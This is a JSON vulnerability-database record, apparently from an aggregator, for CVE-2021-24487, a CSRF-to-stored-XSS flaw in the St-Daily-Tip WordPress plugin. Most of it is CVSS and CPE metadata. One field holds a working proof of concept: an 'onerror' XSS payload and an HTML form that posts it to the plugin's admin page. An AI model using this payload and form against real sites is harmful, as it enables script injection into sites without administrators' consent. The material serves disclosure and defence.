The St-Daily-Tip WordPress plugin through 4.7 does not have any CSRF check in place when saving its 'Default Text to Display if no tips' setting, and was also lacking sanitisation as well as escaping before outputting it the page. This could allow attacker to make logged in administrators set a malicious payload in it, leading to a Stored Cross-Site Scripting issue
{"id": "CVE-2021-24487", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-24487", "description": "The St-Daily-Tip WordPress plugin through 4.7 does not have any CSRF check in place when saving its 'Default Text to Display if no tips' setting, and was also lacking sanitisation as well as escaping before outputting it the page. This could allow attacker to make logged in administrators set a malicious payload in it, leading to a Stored Cross-Site Scripting issue", "published": "2021-10-25T14:15:00", "modified": "2021-10-28T14:26:00", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 6.8}, "severity": "MEDIUM", "exploitabilityScore": 8.6, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": true}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-24487", "reporter": "contact@wpscan.com", "references": ["https://wpscan.com/vulnerability/def352f8-1bbe-4263-ad1a-1486140269f4"], "cvelist": ["CVE-2021-24487"], "immutableFields": [], "lastseen": "2022-03-23T14:55:37", "viewCount": 11, "enchantments": {"dependencies": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:DEF352F8-1BBE-4263-AD1A-1486140269F4"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:DEF352F8-1BBE-4263-AD1A-1486140269F4"]}], "rev": 4}, "score": {"value": 2.8, "vector": "NONE"}, "backreferences": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:DEF352F8-1BBE-4263-AD1A-1486140269F4"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:DEF352F8-1BBE-4263-AD1A-1486140269F4"]}]}, "exploitation": null, "vulnersScore": 2.8}, "_state": {"dependencies": 0}, "_internal": {}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": ["cpe:/a:sanskruti:st-daily-tip:4.7"], "cpe23": ["cpe:2.3:a:sanskruti:st-daily-tip:4.7:*:*:*:*:wordpress:*:*"], "cwe": ["CWE-352"], "affectedSoftware": [{"cpeName": "sanskruti:st-daily-tip", "version": "4.7", "operator": "le", "name": "sanskruti st-daily-tip"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:sanskruti:st-daily-tip:4.7:*:*:*:*:wordpress:*:*", "versionEndIncluding": "4.7", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://wpscan.com/vulnerability/def352f8-1bbe-4263-ad1a-1486140269f4", "name": "https://wpscan.com/vulnerability/def352f8-1bbe-4263-ad1a-1486140269f4", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory"]}]}
{"wpexploit": [{"lastseen": "2021-11-26T19:16:27", "description": "The plugin does not have any CSRF check in place when saving its 'Default Text to Display if no tips' setting, and was also lacking sanitisation as well as escaping before outputting it the page. This could allow attacker to make logged in administrators set a malicious payload in it, leading to a Stored Cross-Site Scripting issue\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-21T00:00:00", "type": "wpexploit", "title": "St Daily Tip <= 4.7 - CSRF to Stored Cross-Site Scripting", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24487"], "modified": "2021-09-21T07:52:32", "id": "WPEX-ID:DEF352F8-1BBE-4263-AD1A-1486140269F4", "href": "", "sourceData": "Add the following payload in the 'Default Text to Display if no tips' setting of the plugin (/wp-admin/admin.php?page=daily-tip) and save: \"><img src onerror=confirm(/XSS/)>\r\n\r\nVia CSRF:\r\n\r\n<html>\r\n <body>\r\n <form action=\"http://example.com/wp-admin/admin.php?page=daily-tip\" method=\"POST\" enctype=\"multipart/form-data\">\r\n <input type=\"hidden\" name=\"default_tip\" value='\"><img src onerror=confirm(/XSS/)>' />\r\n <input type=\"hidden\" name=\"default_text\" value=\"Save\" />\r\n <input type=\"submit\" value=\"Submit request\" />\r\n </form>\r\n </body>\r\n</html>\r\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "wpvulndb": [{"lastseen": "2021-11-26T19:16:27", "description": "The plugin does not have any CSRF check in place when saving its 'Default Text to Display if no tips' setting, and was also lacking sanitisation as well as escaping before outputting it the page. This could allow attacker to make logged in administrators set a malicious payload in it, leading to a Stored Cross-Site Scripting issue\n\n### PoC\n\nAdd the following payload in the 'Default Text to Display if no tips' setting of the plugin (/wp-admin/admin.php?page=daily-tip) and save: \">![]() Via CSRF: \n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-21T00:00:00", "type": "wpvulndb", "title": "St Daily Tip <= 4.7 - CSRF to Stored Cross-Site Scripting", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24487"], "modified": "2021-09-21T07:52:32", "id": "WPVDB-ID:DEF352F8-1BBE-4263-AD1A-1486140269F4", "href": "https://wpscan.com/vulnerability/def352f8-1bbe-4263-ad1a-1486140269f4", "sourceData": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}]}